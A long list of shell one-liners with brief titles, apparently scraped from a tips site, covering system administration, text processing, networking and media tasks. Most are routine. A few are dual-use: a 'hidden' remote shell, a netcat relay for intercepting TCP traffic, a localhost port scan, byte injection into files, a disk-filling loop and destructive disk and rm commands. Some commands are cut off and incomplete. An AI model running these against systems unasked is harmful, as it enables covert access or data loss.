>> xclip -o > /tmp/spell.tmp; aspell check /tmp/spell.tmp ; cat /tmp/spell.tmp | xclip
* Display information sent by browser
>> nc -l 8000
* Determine the version of a specific package with RPM
>> rpm -q --qf "%{VERSION}\n" redhat-release
* add a gpg key to aptitute package manager in a ubuntu system
>> wget -q http://xyz.gpg -O- | sudo apt-key add -
* Quick calculator at the terminal
>> echo "$math_expr" | bc -l
* Remove embedded fonts from a pdf.
>> gs -sDEVICE=pswrite -sOutputFile=- -q -dNOPAUSE With-Fonts.pdf -c quit | ps2pdf - > No-Fonts.pdf
* Quick plotting of a function
>> seq 0 0.1 20 | awk '{print $1, cos(0.5*$1)*sin(5*$1)}' | graph -T X
* Add thousand separator with sed, in a file or within pipe
>> sed -e :a -e 's/\(.*[0-9]\)\([0-9]\{3\}\)/\1,\2/;ta' filename
* Downsample mp3s to 128K
>> for f in *.mp3 ; do lame --mp3input -b 128 "$f" ./resamp/"$f" ; done
* start vim in diff mode
>> vimdiff file{1,2}
* Time Synchronisation with NTP
>> ntpdate ntp.ubuntu.com pool.ntp.org
* Lists architecture of installed RPMs
>> rpm -qa --queryformat "%{NAME} %{ARCH}\n"
* Display usb power mode on all devices
>> for i in `find /sys/devices/*/*/usb* -name level` ; do echo -n "$i: " ; cat $i ; done
* Display a list of RPMs installed on a particular date
>> rpm -qa --queryformat '%{installtime} \"%{vendor}\" %{name}-%{version}-%{release} %{installtime:date}\n' | grep "Thu 05 Mar"
* create a backup for all directories from current dir
>> find -maxdepth 1 -type d -print0 | xargs -0 -I {} tar -cvzf {}.tar.gz {}
* Display 6 largest installed RPMs sorted by size (descending)
>> rpm -qa --qf '%{SIZE} %{NAME}\n' | sort -nr | nl | head -6 # six largest RPMs
* Convert embedded spaces in filenames to "_" (underscore)
>> ls -1 | grep " " | awk '{printf("mv \"%s\" ",$0); gsub(/ /,"_",$0); printf("%s\n",$0)}' | sh # rename filenames: spaces to "_"
* Display kernel profile of currently executing functions in
>> lockstat -I -i 977 -s 30 -h sleep 1 > /tmp/profile.out
* List all the files that have been deleted while they were still
>> lsof | egrep "^COMMAND|deleted"
* Search through all installed packages names (on RPM systems)
>> rpm -qa \*code\*
* Binary injection
>> echo -n $HEXBYTES | xxd -r -p | dd of=$FILE seek=$((0x$OFFSET)) bs=1 conv=notrunc
* Forwards connections to your port 2000 to the port 22 of a remote
>> ssh -NL 2000:remotehost:22 remotehost
* Change the extension of a filename by using rename to convert
>> rename .JPG .jpg *.JPG
* Repeatedly send a string to stdout-- useful for going through
>> yes "text" | annoying_installer_program # "text" defaults to the letter y
* Remove annoying OS X DS_Store folders
>> find . -name .DS_Store -exec rm {} \;
* Copy the text from the 3rd line to the 9th line into a new file
>> :3,9w new_file
* cat stdout of multiple commands
>> cat <( command1 arg arg ) <( command2 arg ) ...
* Find commets in jpg files.
>> find / -name "*.jpg" -print -exec rdjpgcom '{}' ';'
* View a file with less, starting at the end of the file
>> less +G <filename>
* vi case insensitive search
>> :set ic
* "hidden" remote shell
>> ssh -T user@host /bin/bash -i
* Find all files with root SUID or SGID executables
>> sudo find / -type f \( -perm /4000 -a -user root \) -ls -o \( -perm /2000 -a -group root \) -ls
* Delete empty directories recursively
>> find <top_level_dir> -depth -type d -empty -exec rmdir -v {} \;
* Remove several files with ease
>> rm file{1..10}
* Prints new content of files
>> tail -f file1 (file2 .. fileN)
* Extract icons from windows exe/dll
>> wrestool -x --output . -t14 /path/to/your-file.exe
* Know which version dpkg/apt considers more recent
>> dpkg --compare-versions 1.0-2ubuntu5 lt 1.1-1~raphink3 && echo y || echo n
* make a list of movies(.m3u).
>> find $HOME -type f -print | perl -wnlaF'/' -e 'BEGIN{ print "#EXTM3U"; } /.+\.wmv$|.+\.mpg$|.+\.vob$/i and print "#EXTINF:$F[-1]\nfile://$&";' > movies.m3u
* Replace "space" char with "dot" char in current directory file
>> ls -1 | while read a; do mv "$a" `echo $a | sed -e 's/\ /\./g'`; done
* sort ugly text
>> sort -bdf
* Recursive Search and Replace
>> perl -pi -e's/<what to find>/<what to replace it with>/g' `grep -Rl <what to find> /<dir>/*`
* remove all snapshots from all virtual machines in vmware esx
>> time vmware-cmd -l | while read x; do printf "$x"; vmware-cmd "$x" removesnapshots; done
* Print the last modified file
>> ls -t1 | head -n1
* Symlink all files from a base directory to a target directory
>> for f in $(ls -d /base/*); do ln -s $f /target; done && ls -al /target
* Create passwords and store safely with gpg
>> tr -dc "a-zA-Z0-9-_\$\?" < /dev/urandom | head -c 10 | gpg -e -r medha@nerdish.de > password.gpg
* Type strait into a file from the terminal.
>> cat /dev/tty > FILE
* convert a pdf to jpeg
>> sips -s format jpeg Bild.pdf --out Bild.jpg
* Cleanly manage tempfiles in scripts
>> TMPROOT=/tmp; TMPDIR=$(mktemp -d $TMPROOT/somedir.XXXXXX); TMPFILE=$(mktemp $TMPROOT/somefile.XXXXXX); trap "rm -rf $TMPDIR $TMPFILE; exit" INT TERM EXIT; some treatment using $TMPDIR and $TMPFILE; exit 0
* 1:1 copy of a volume
>> find / -xdev -print | cpio -pdmuv /mnt/mydisk
* sort through source to find most common authors
>> find . -type f -name "*.java" -print0 | xargs -0 -n 1 svn blame | sed -n 's/^[^a-z]*\([a-z]*\).*$/\1/p' | sort | uniq -c | sort -n
* Drop or block attackers IP with null routes
>> sudo route add xxx.xxx.xxx.xxx gw 127.0.0.1 lo
* split a string (3)
>> OLD_IFS="$IFS"; IFS=: ARRAY=($PATH); echo ${ARRAY[2]}; IFS="$OLD_IFS"
* get your terminal back after it's been clobbered
>> reset
* Set file access control lists
>> setfacl -m u:john:r-- myfile
* Compress logs older than 7 days
>> find /path/to/files -type f -mtime +7 | grep -v \.gz | xargs gzip
* restore the contents of a deleted file for which a descriptor is
>> N="filepath" ; P=/proc/$(lsof +L1 | grep "$N" | awk '{print $2}')/fd ; ls -l $P | sed -rn "/$N/s/.*([0-9]+) ->.*/\1/p" | xargs -I_ cat $P/_ > "$N"
* Quickest way to sort/display # of occurences
>> "some line input" | sort | uniq -c | sort -nr
* Copy a file from a remote server to your local box using
>> rsync -Pz user@remotehost:/path/file.dat .
* Show current iptables rules, with line numbers
>> iptables -nL -v --line-numbers
* Find out the last times your system was rebooted (for the duration
>> last reboot
* Follow a new friend on twitter
>> curl -u USERNAME:PASSWORD -d "" http://twitter.com/friendships/create/NAMEOFNEWFRIEND.xml?follow=true
* checking space availabe on all /proc/mounts points (using Nagios
>> check_disk -w 15% -c 10% $(for x in $(cat /proc/mounts |awk '{print $2}')\; do echo -n " -p $x "\; done)
* doing some floating point math
>> echo "8000000/(20*6*86400)" | bc -l
* List all active access_logs for currently running Apache or
>> lsof -p $(netstat -ltpn|awk '$4 ~ /:80$/ {print substr($7,1,index($7,"/")-1)}')| awk '$9 ~ /access.log$/ {print $9| "sort -u"}'
* Empty the linux buffer cache
>> sync && echo 3 > /proc/sys/vm/drop_caches
* Delete .svn directories and content recursively
>> `find . -iname ".svn" -type d | sed -e "s/^/rm -rfv /g"`
* Clean up after a poorly-formed tar file
>> tar ztf tar-lacking-subdirectory.tar.gz | xargs rm
* Simple complete system backup excluding files or directories
>> tar zcpf backup.tgz --exclude=/proc --exclude=backup.tgz /
* Comma insertions
>> perl -pe '$_=reverse;s/\d{3}(?=\d)(?!.*?\.)/$&,/g;$_=reverse'
* Double your disk read performance in a single command
>> blockdev --setra 1024 /dev/sdb
* Check ps output to see if file is running, if not start it
>> ps -C thisdaemon || { thisdaemon & }
* Generate a Random Password
>> dd if=/dev/urandom bs=1 count=32 2>/dev/null | base64 -w 0 | rev | cut -b 2- | rev
* decode base64
>> echo -n $@ | openssl base64
* Make a high definition VNC
>> vncserver -nohttpd -name hidef-server -depth 24 -geometry 1440x900
* Finding the number of cpu's
>> grep -c -e '^cpu[0-9]\+' /proc/stat
* Search inside a folder of jar/zip files
>> find . -name "*.jar" | xargs -tn1 jar tvf | grep --color "SearchTerm"
* Netstat Connection Check
>> netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n | tail
* Email a file to yourself
>> uuencode $file $file | /usr/bin/mailx -s "$file" ${USER}
* shut of the screen.
>> xset dpms force standby
* Find files that have been modified on your system in the past 60
>> sudo find / -mmin 60 -type f
* Intercept, monitor and manipulate a TCP connection.
>> mkfifo /tmp/fifo; cat /tmp/fifo | nc -l -p 1234 | tee -a to.log | nc machine port | tee -a from.log > /tmp/fifo
* Use tee + process substitution to split STDOUT to multiple
>> some_command | tee >(command1) >(command2) >(command3) ... | command4
* Copy your ssh public key to a server from a machine that doesn't
>> cat ~/.ssh/id_rsa.pub | ssh user@machine "mkdir ~/.ssh; cat >> ~/.ssh/authorized_keys"
* Execute a command with a timeout
>> timeout 10 sleep 11
* Search for a string inside all files in the current directory
>> grep -RnisI <pattern> *
* redirect stdout and stderr each to separate files and print both
>> (some_command 2>&1 1>&3 | tee /path/to/errorlog ) 3>&1 1>&2 | tee /path/to/stdoutlog
* Find files that were modified by a given command
>> touch /tmp/file ; $EXECUTECOMMAND ; find /path -newer /tmp/file
* Have an ssh session open forever
>> autossh -M50000 -t server.example.com 'screen -raAd mysession'
* throttle bandwidth with cstream
>> tar -cj /backup | cstream -t 777k | ssh host 'tar -xj -C /backup'
* replace spaces in filenames with underscores
>> rename 'y/ /_/' *
* Save an HTML page, and covert it to a .pdf file
>> wget $URL | htmldoc --webpage -f "$URL".pdf - ; xpdf "$URL".pdf &
* Compare two directory trees.
>> diff <(cd dir1 && find | sort) <(cd dir2 && find | sort)
* Resume scp of a big file
>> rsync --partial --progress --rsh=ssh $file_source $user@$host:$destination_file
* Install a Firefox add-on/theme to all users
>> sudo firefox -install-global-extension /path/to/add-on
* iso-8859-1 to utf-8 safe recursive rename
>> detox -r -s utf_8 /path/to/old/win/files/dir
* recursive search and replace old with new string, inside files
>> $ grep -rl oldstring . |xargs sed -i -e 's/oldstring/newstring/'
* Terminate a frozen SSH-session
>> RETURN~.
* Get Cisco network information
>> tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether[20:2] == 0x2000'
* Copy stdin to your X11 buffer
>> ssh user@host cat /path/to/some/file | xclip
* Check if running in an X session
>> if [ ! -z "${DISPLAY}" ]; then someXcmd ; fi
* delete unversioned files in a checkout from svn
>> svn st | grep "^\?" | awk "{print \$2}" | xargs rm -rf
* Rsync between two servers
>> rsync -zav --progress original_files_directory/ root@host(IP):/path/to/destination/
* replace XX by YY in the the current directory and cd to it. ( in
>> cd XX YY
* Show a line when a "column" matchs
>> awk '{ FS = OFS = "#" } { if ($9==1234) print }' filename*.log > bigfile.log
* Split and join with split and cat.
>> split -b 1k file ; cat x* > file
* run command on a group of nodes in parallel
>> echo -n m{1..5}.cluster.net | xargs -d' ' -n1 -P5 -I{} ssh {} 'uptime'
* Sort IP addresses
>> sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4 /file/of/ip/addresses
* Check executable shared library usage
>> ldd <executable binary>
* fix broken permissions
>> find /path -type d -perm 777 -exec chmod 755 {} \;
* Use color grep by default
>> alias grep 'gnu grep -i --color=auto'
* finding cr-lf files aka dos files with ^M characters
>> find $(pwd) -type f -exec grep -l "$(echo "\r")" {} \;
* Make a thumbnail image of first page of a PDF.
>> convert -resize 200 -sharpen 40 some_file.pdf[0] some_file.jpg
* Import/clone a Subversion repo to a git repo
>> git svn --authors-file=some-authors-file clone svn://address/of/svn/repo new-git-dir
* Gives you what's between first string and second string included.
>> sed "s/^ABC/+ABC/" <file | sed "s/DEF$/DEF+/" | tr "\n" "~" | tr "+" "\n" | grep "^ABC" | tr "~" "\n"
* Get My Public IP Address
>> curl -s http://myip.dk/ | egrep -m1 -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'
* Getting GnuPG Public Keys From KeyServer
>> gpg --keyserver pgp.surfnet.nl --recv-key 19886493
* Binary search/replace
>> xxd < orig | sed 's/A/B/' | sed 's/HEXA/HEXB/' | xxd -r > new
* "I Feel Lucky" for Google Images
>> echo -n "search> ";read QUERY && wget -O - `wget -O - -U "Mozilla/5.0" "http://images.google.com/images?q=${QUERY}" 2>/dev/null |sed -e 's/","http/\n","http/g' |awk -F \" '{print $3}' |grep -i http: |head -1` > "$QUERY"
* modify a file in place with perl
>> perl -pi -e 's/THIS/THAT/g' fileglob*
* Create a DOS floppy image
>> dd if=/dev/zero bs=1024 count=1440 > floppy.img && mkdosfs floppy.img
* Test for Weak SSL Ciphers
>> openssl s_client -connect [host]:[sslport] -cipher LOW
* Translate your terminal into Swedish Chef
>> perl -e '$b="bork"; while(<STDIN>){$l=`$_ 2>&1`; $l=~s/[A-Za-z]+/$b/g;
* Change every instance of OLD to NEW in file FILE
>> sed -i 's/OLD/NEW/g' FILE
* Getting started with tcpdump
>> tcpdump -nli eth0; tcpdump -nli eth0 src or dst w.x.y.z; tcpdump -nli eth0 port 80; tcpdump -nli eth0 proto udp
* Dump root ext3 fs over ssh
>> dump 0f - / | bzip -c9 | ssh user@host "cat > /home/user/root.dump.bz2"
* Resets a terminal that has been messed up by binary input
>> reset
* Display total Kb/Mb/Gb of a folder and each file
>> du -hc *
* easily convert one unit to another
>> units "2048 bytes" "kibibytes"
* show the date every rpm was installed
>> rpm -qa --last
* To find the count of each open file on a system (that supports
>> sudo lsof | awk '{printf("%s %s %s\n", $1, $3, $NF)}' | grep -v "(" | sort -k 4 | gawk '$NF==prv{ct++;next} {printf("%d %s\n",ct,$0);ct=1;prv=$NF}' | uniq | sort -nr
* rgrep: recursive grep without .svn
>> alias rgrep="find . \( ! -name .svn -o -prune \) -type f -print0 | xargs -0 grep"
* get a directory from one machine to another using tar and ssh
>> ssh somemachine "cd some dir; tar zcpf - somedirname" |tar zxpf -
* A nice command for summarising repeated information
>> alias counts=sort | uniq -c | sort -nr
* Command to keep an SSH connection open
>> watch -n 30 uptime
* Run a command on a remote machine
>> ssh user@host "ps aux | grep httpd | wc -l"
* Display a list of all PHP classes that are called statically
>> find . -name "*\.php" | xargs grep -o --color "\w\+::\w\+" | cut -d":" -f2 | sort | uniq -c
* Show recent earthquakes in Bay Area
>> lynx --width=200 --dump 'http://quake.usgs.gov/recenteqs/Maps/San_Francisco_eqs.htm'|sed -ne '/MAG.*/,/^References/{;s/\[[0-9][0-9]*\]//;1,/h:m:s/d;/Back to map/,$d;/^$/d;/^[ \t][ \t]*[3-9]\.[0-9][0-9]*[ \t][ \t]*/p; }'|sort -k1nr
* Every Nth line position # (AWK)
>> awk 'NR%3==1' file
* Find all files <10MB and sum up their size
>> i=0; for f in $(find ./ -size -10M -exec stat -c %s {} \; ); do i=$(($i + $f)); done; echo $i
* Every Nth line position # (SED)
>> sed -n '1,${p;n;n;}' foo > foo_every3_position1; sed -n '2,${p;n;n;}' foo > foo_every3_position2; sed -n '3,${p;n;n;}' foo > foo_every3_position3
* Rename .JPG to .jpg recursively
>> find /path/to/images -name '*.JPG' -exec bash -c 'mv "$1" "${1/%.JPG/.jpg}"' -- {} \;
* Prints line numbers
>> grep -n "^" <filename>
* Print a row of 50 hyphens
>> python -c 'print "-" * 50'
* Resize a Terminal Window
>> printf "\e[8;70;180;t"
* Pretty man pages under X
>> function manpdf() {man -t $1 | ps2pdf - - | epdfview -}
* Pretty man pages under X
>> vman(){ T=/tmp/$$.pdf;man -t $1 |ps2pdf - >$T; xpdf $T; rm -f $T; }
* Print a row of 50 hyphens
>> perl -le'print"-"x50'
* Do a search-and-replace in a file after making a backup
>> sed -i.bak 's/old/new/g' file
* view certificate details
>> openssl x509 -in filename.crt -noout -text
* analyze traffic remotely over ssh w/ wireshark
>> mkfifo /tmp/fifo; ssh-keygen; ssh-copyid root@remotehostaddress; sudo ssh root@remotehost "tshark -i eth1 -f 'not tcp port 22' -w -" > /tmp/fifo &; sudo wireshark -k -i /tmp/fifo;
* Solaris get PID socket
>> pfiles -F /proc/* 2>/dev/null | awk '/^[0-9]+/{proc=$1};/[s]ockname: AF_INET/{print proc $0}'
* Batch convert PNG to JPEG
>> for i in *.png; do convert "$i" "${i%.png}.jpg" && rm "$i" && echo "$i is converted."; done
* pipe output to notify-send
>> echo 'Desktop SPAM!!!' | while read SPAM_OUT; do notify-send "$SPAM_OUT"; done
* Display _something_ when an X app fails
>> xlaunch(){ T=/tmp/$$;sh -c "$@" >$T.1 2>$T.2;S=$?;[ $S -ne 0 ]&&{ echo -e "'$@' failed with error $S\nSTDERR:\n$(cat $T.2)\nSTDOUT:\n$(cat $T.1)\n"|xmessage -file -;};rm -f $T.1 $T.2;}
* mount an iso
>> mount -o loop -t iso9660 my.iso /mnt/something
* monitor network traffic and throughput in real time
>> iptraf
* find out how much space are occuipied by files smaller than 1024K
>> find dir -size -1024k -type f -print0 | du --files0-from - -bc
* reload config
>> source .bashrc
* Create aliases for common vim minibuffer/cmd typos
>> command! -nargs=1 Vs vs <args>
* find out how much space is occupied by files smaller than 1024K
>> find dir -size -1024k -type f | xargs -d $'\n' -n1 ls -l | cut -d ' ' -f 5 | sed -e '2,$s/$/+/' -e '$ap' | dc
* List folders containing only PNGs
>> find . -name '*png' -printf '%h\0' | xargs -0 ls -l --hide=*.png | grep -ZB1 ' 0$'
* Find the location of the currently loaded php.ini file
>> php -i | grep php.ini
* Test file system type before further commands execution
>> DIR=. ; FSTYPE=$(df -TP ${DIR} | grep -v Type | awk '{ print $2 }') ; echo "${FSTYPE}"
* See entire packet payload using tcpdump.
>> tcpdump -nnvvXSs 1514 -i <device> <filters>
* Sniffing network to generate a pcap file in CLI mode on a remote
>> tcpdump -v -i <INTERFACE> -s 0 -w /tmp/sniff.pcap port <PORT> # On the
* Read just the IP address of a device
>> /sbin/ip -f inet addr | sed -rn 's/.*inet ([^ ]+).*(eth[[:digit:]]*(:[[:digit:]]+)?)/\2 \1/p' | column -t
* Random colours at random locations
>> p(){ printf "\033[%d;%dH\033[4%dm \033[m" $((RANDOM%LINES+1)) $((RANDOM%COLUMNS+1)) $((RANDOM%8)); }; clear;while :;do p; sleep .001;done
* output stats from a running dd command to see its progress
>> watch -n60 --kill -USR1 $(pgrep dd)
* Freshening up RKhunter
>> rkhunter --versioncheck --update --propupd --check
* Expedient hard disk temprature and load cycle stats
>> watch -d 'sudo smartctl -a /dev/sda | grep Load_Cycle_Count ; sudo smartctl -a /dev/sda | grep Temp'
* Show permissions of current directory and all directories upwards
>> dir=$(pwd); while [ ! -z "$dir" ]; do ls -ld "$dir"; dir=${dir%/*}; done; ls -ld /
* Display IP adress of the given interface in a most portable and
>> x=IO::Interface::Simple; perl -e 'use '$x';' &>/dev/null || cpan -i "$x"; perl -e 'use '$x'; my $ip='$x'->new($ARGV[0]); print $ip->address,$/;' <INTERFACE>
* Collect a lot of icons from /usr/share/icons (may overwrite some,
>> mkdir myicons; find /usr/share/icons/ -type f -exec cp {} ./myicons/ \;
* list all opened ports on host
>> time { i=0; while [ $(( i < 65535 )) -eq 1 ] ; do nc -zw2 localhost $((++i)) && echo port $i opened ; done; }
* Get your public ip
>> curl -s http://sputnick-area.net/ip
* random xkcd comic as xml
>> curl -sL 'dynamic.xkcd.com/comic/random/' | awk -F\" '/^<img/{printf("<?xml version=\"1.0\"?>\n<xkcd>\n<item>\n <title>%s</title>\n <comment>%s</comment>\n <image>%s</image>\n</item>\n</xkcd>\n", $6, $4, $2)}'
* View a random xkcd comic
>> wget -q http://dynamic.xkcd.com/comic/random/ -O-| sed -n '/<img src="http:\/\/imgs.xkcd.com\/comics/{s/.*\(http:.*\)" t.*/\1/;p}' | awk '{system ("wget -q " $1 " -O- | display -title $(basename " $1") -write /tmp/$(basename " $1")");}'
* Provide information on IPC (Inter-process communication)
>> ipcs
* recursive search and replace old with new string, inside files
>> $rpl -R oldstring newstring folder
* recursive search and replace old with new string, inside files
>> find . -type f -exec sed -i s/oldstring/newstring/g {} +
* Find and copy scattered mp3 files into one directory
>> find . -type f -iname '*.mp3' -exec cp {} ~/mp3/ \;
* Check your hard drive for bad blocks (destructive)
>> badblocks -c 65536 -o /tmp/badblocks.out -p 2 -s -v -w /dev/hdX > /tmp/badblocks.stdout 2> /tmp/badblocks.stderr
* Find and copy scattered mp3 files into one directory
>> find . -name '*.mp3' -type f -exec sh -c 'exec cp -f "$@" /home/user/dir' find-copy {} +
* Quickly batch resize images
>> mogrify -geometry 800x600 *.jpg
* Update twitter via curl (and also set the "from" bit)
>> curl -u twitter-username -d status="Hello World, Twitter!" -d source="cURL" http://twitter.com/statuses/update.xml
* Monitoring sessions that arrive at your server
>> watch -n 1 -d "finger"
* Download streaming video in mms
>> mimms mms://Your_url.wmv
* Ruby - nslookup against a list of IP`s or FQDN`s
>> while read n; do host $n; done < list
* Fill up disk space (for testing)
>> tail $0 >> $0
* Show local/public IP adresses with or without interface argument
>> MyIps(){ echo -e "local:\n$(ifconfig $1 | grep -oP 'inet (add?r:)?\K(\d{1,3}\.){3}\d{1,3}')\n\npublic:\n$(curl -s sputnick-area.net/ip)"; }
* Audible warning when a downloading is finished
>> while [ "$(ls $filePart)" != "" ]; do sleep 5; done; mpg123 /home/.../warning.mp3
* mount a cdrom
>> mount -t iso9660 /dev/cdrom /media/cdrom
* Return IP Address
>> perl -e '$_=`ifconfig eth0`;/\d+.\d+.\d+.\d+ /; print $&,"\n";'
* Return IP Address
>> ifconfig|while read i;do [[ $i =~ inet.*B ]]&&r=${i%%B*}&&echo ${r/*[tr]:/};done
* Capture data in ASCII. 1500 bytes
>> tcpdump -ieth0 -n tcp port 80 -A -s1500
* Find file containing namespace in a directory of jar files.
>> for f in *.jar; do if jar -tf $f | grep -q javax.servlet; then echo $f; fi; done
* View the newest xkcd comic.
>> curl -s 'xkcd.com' | awk -F\" '/^<img/{printf("<?xml version=\"1.0\"?>\n<xkcd>\n<item>\n <title>%s</title>\n <comment>%s</comment>\n <image>%s</image>\n</item>\n</xkcd>\n", $6, $4, $2)}'
* find all writable (by user) files in a directory tree (use 4 for
>> find . -type f -perm +200 -print
* show how many regex you use in your vim today
>> cat ~/.viminfo | sed -n '/^:[0-9]\+,\([0-9]\+\|\$\)s/p'
* find read write traffic on disk since startup
>> iostat -m -d /dev/sda1
* urldecoding
>> perl -pe 's/%([0-9a-f]{2})/sprintf("%s", pack("H2",$1))/eig'
* Pull up remote desktop for other than gnome/kde eg fluxbox
>> rdp() { ssh $1 sh -c 'PATH=$PATH:/usr/local/bin; x11vnc -q -rfbauth ~/.vnc/passwd -display :0' & sleep 4; vncviewer $1:0 & }
* Get your bash scripts to handle options (-h, --help etc) and spit
>> process-getopt
* urldecoding
>> printf $(echo -n $1 | sed 's/\\/\\\\/g;s/\(%\)\([0-9a-fA-F][0-9a-fA-F]\)/\\x\2/g')
* In (any) vi, add a keystroke to format the current paragraph.
>> map ^A !}fmt
* Convert decimal numbers to binary
>> function decToBin { echo "ibase=10; obase=2; $1" | bc; }
* Find all dotfiles and dirs
>> find -mindepth 1 -maxdepth 1 -name .\*
* watch the previous command
>> watch -n1 -d !!
* List all symbolic links in current directory
>> ls -lah | grep ^l
* Find all dot files and directories
>> ls -d .*
* Debian Runlevel configuration tool
>> rcconf
* Checks apache's access_log file, strips the search queries and
>> awk '/q=/{print $11}' /var/log/httpd/access_log.4 | awk -F 'q=' '{print $2}' | sed 's/+/ /g;s/%22/"/g;s/q=//' | cut -d "&" -f 1
* Show sorted list of files with sizes more than 1MB in the current
>> ls -l | awk '$5 > 1000000' | sort -k5n
* rotate the compiz cube via command line
>> wmctrl -o 1280,0
* Watch a TiVo File On Your Computer
>> curl -s -c /tmp/cookie -k -u tivo:$MAK --digest http://$tivo/download/$filename | tivodecode -m $MAK -- - | mplayer - -cache-min 50 -cache 65536
* check the status of 'dd' in progress
>> while killall -USR1 dd; do sleep 5; done
* Both view and pipe the file without saving to disk
>> cat /path/to/some/file.txt | tee /dev/pts/0 | wc -l
* Get ethX mac addresses
>> ip link | grep 'link/ether' | awk '{print $2}'
* Grab an interface's IP from ifconfig without screen clutter
>> ifconfig eth1 | grep inet\ addr | awk '{print $2}' | cut -d: -f2 | sed s/^/eth1:\ /g
* Display top 5 processes consuming CPU
>> ps -eo pcpu,user,pid,cmd | sort -r | head -5
* List the files any process is using
>> lsof +p xxxx
* Kill any lingering ssh processes
>> for i in `ps aux | grep ssh | grep -v grep | awk {'print $2'}` ; do kill $i; done
* get a process list by listen port
>> netstat -ntlp | grep 80 | awk '{print $7}' | cut -d/ -f1
* Show current working directory of a process
>> pwdx pid
* Open-iscsi target discovery
>> iscsiadm -m discovery -t sendtargets -p 192.168.20.51
* Creates Solaris alternate boot environment on another zpool.
>> lucreate -n be1 [-c be0] -p zpool1
* one-liner mpc track changer using dmenu
>> mpc play $(sed -n "s@^[ >]\([0-9]\+\)) $(mpc playlist|cut -d' ' -f3-|dmenu -i -p 'song name'||echo void)@\1@p" < <(mpc playlist))
* A function to find the newest file of a set.
>> newest () { candidate=''; for i in "$@"; do [[ -f $i ]] || continue; [[
* Erase empty files
>> find . -type f -size 0 -delete
* Monitor a file's size
>> watch -n 60 du /var/log/messages
* Remove CR LF from a text file
>> tr -d '\r\n' < input_file.txt > output_file.txt
* Check a server is up. If it isn't mail me.
>> curl -fs brandx.jp.sme 2&>1 > /dev/null || echo brandx.jp.sme ping failed | mail -ne -s'Server unavailable' joker@jp.co.uk
* On Screen micro display for battery and CPU temperature.
>> acpi -t | osd_cat -p bottom
* set wallpaper on windowmaker in one line
>> wmsetbg -s -u path_to_wallpaper
* List your largest installed packages (on Debian/Ubuntu)
>> sed -ne '/^Package: \(.*\)/{s//\1/;h;};/^Installed-Size: \(.*\)/{s//\1/;G;s/\n/ /;p;}' /var/lib/dpkg/status | sort -rn
* Get decimal ascii code from character
>> echo -n a | od -d | sed -n "s/^.* //gp"
* get the ascii number with bash builtin printf
>> printf "%d\n" "'A" "'B"
* Function to output an ASCII character given its decimal
>> chr () { echo -en "\0$(printf %x $1)"}
* Function to output an ASCII character given its decimal
>> chr() { printf \\$(printf %o $1); }
* Less a grep result, going directly to the first match in the
>> argv=("$@"); rest=${argv[@]:1}; less -JMN +"/$1" `grep -l $1 $rest`
* Execute a command before display the bash prompt
>> PROMPT_COMMAND=command
* gzip all files in a directory separately
>> gzip *
* gzip all files in a directory separately
>> ls | xargs -n1 gzip
* MoscowML with editable input-line and history
>> rlwrap mosml
* retrieve the source address used to contact a given host
>> python -c 'import socket; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("<hostname>", <port>)); print s.getsockname()[0] ; s.close() ;' 2> /dev/null
* Get absolut path to your bash-script
>> PATH=$(cd ${0%/*}; pwd)
* Get full URL via http://untr.im/api/ajax/api
>> URL=[target.URL]; curl -q -d "url=$URL" http://untr.im/api/ajax/api | awk -F 'href="' '{print $3}' | awk -F '" rel="' '{print $1}'
* remove the last of all html files in a directory
>> for f in *.html; do sed '$d' -i "$f"; done
* Makefile argument passing
>> make [target] VAR=foobar
* convert filenames in current directory to lowercase
>> find my_root_dir -depth -exec rename 's/(.*)\/([^\/]*)/$1\/\L$2/' {} \;
* Print a list of the 30 last modified mp3s sorted by last first
>> find ~/Music -daystart -mtime -60 -name *mp3 -printf "%T@\t%p\n" | sort -f -r | head -n 30 | cut -f 2
* Print text string vertically, one character per line.
>> echo "vertical text" | fold -1
* Generate SHA1 hash for each file in a list
>> find . -type f -exec sha1sum {} >> SHA1SUMS \;
* Benchmark report generator
>> hardinfo -am benchmark.so -f html > report.html
* Changing the terminal title to the last shell command
>> if [ "$SHELL" = '/bin/zsh' ]; then case $TERM in rxvt|*term|linux) preexec () { print -Pn "\e]0;$1\a" };; esac; fi
* Force an fsck on reboot
>> shutdown -rF now
* Grep auth log and print ip of attackers
>> egrep 'Failed password for invalid' /var/log/secure | awk '{print $13}' | uniq
* Generate SHA1 hash for each file in a list
>> ls [FILENAME] | xargs openssl sha1
* Notify Gnome user of files modified today
>> OLDIFS=$IFS; IFS=$(echo -en "\n\b"); for f in `find -daystart -mtime 0 -type f -printf "%f\n"`; do notify-send -t 0 "$f downloaded" ; done; IFS=$OLDIFS
* Download a TiVo Show
>> curl -s -c /tmp/cookie -k -u tivo:$MAK --digest "$(curl -s -c
* Create a single-use TCP proxy with copy to stdout
>> gate() { mkfifo /tmp/sock1 /tmp/sock2 &> /dev/null && nc -p $1 -l < /tmp/sock1 | tee /tmp/sock2 & PID=$! && nc $2 $3 < /tmp/sock2 | tee /tmp/sock1; kill -KILL $PID; rm -f /tmp/sock1 /tmp/sock2 ; }
* Print all members of US House of Representatives
>> curl "http://www.house.gov/house/MemberWWW.shtml" 2>/dev/null | sed -e :a -e 's/<[^>]*>//g;/</N;//ba' | perl -nle 's/^\t\t(.*$)/ $1/ and print;'
* Remove blank lines from a file using grep and save output to new
>> grep -v "^$" filename > newfilename
* Search for a string inside all files in the current directory
>> grep -r <pattern> * .[!.]*
* Search for a string inside all files in the current directory
>> ack <pattern>
* Search for a string inside all files in the current directory
>> find . -type f -print0 | xargs -0 grep -i <pattern>
* calulate established tcp connection of local machine
>> netstat -an | grep -Ec '^tcp.+ESTABLISHED$'
* Adding Color Escape Codes to global CC array for use by echo -e
>> declare -ax CC; for i in `seq 0 7`;do ii=$(($i+7)); CC[$i]="\033[1;3${i}m"; CC[$ii]="\033[0;3${i}m"; done
* shorten url using curl, sed and is.gd
>> curl -s -d URL="$1" http://is.gd/create.php | sed '/Your new shortened/!d;s/.*value="\([^"]*\)".*/\1/'
* Delete all but the latest 5 files, ignoring directories
>> ls -lt|grep ^-|awk 'NR>5 { print $8 }'|xargs -r rm
* Delete all but the latest 5 files
>> ls -t | tail +6 | xargs rm
* convert a,b,c to ('a','b','c') for use in SQL in-clauses
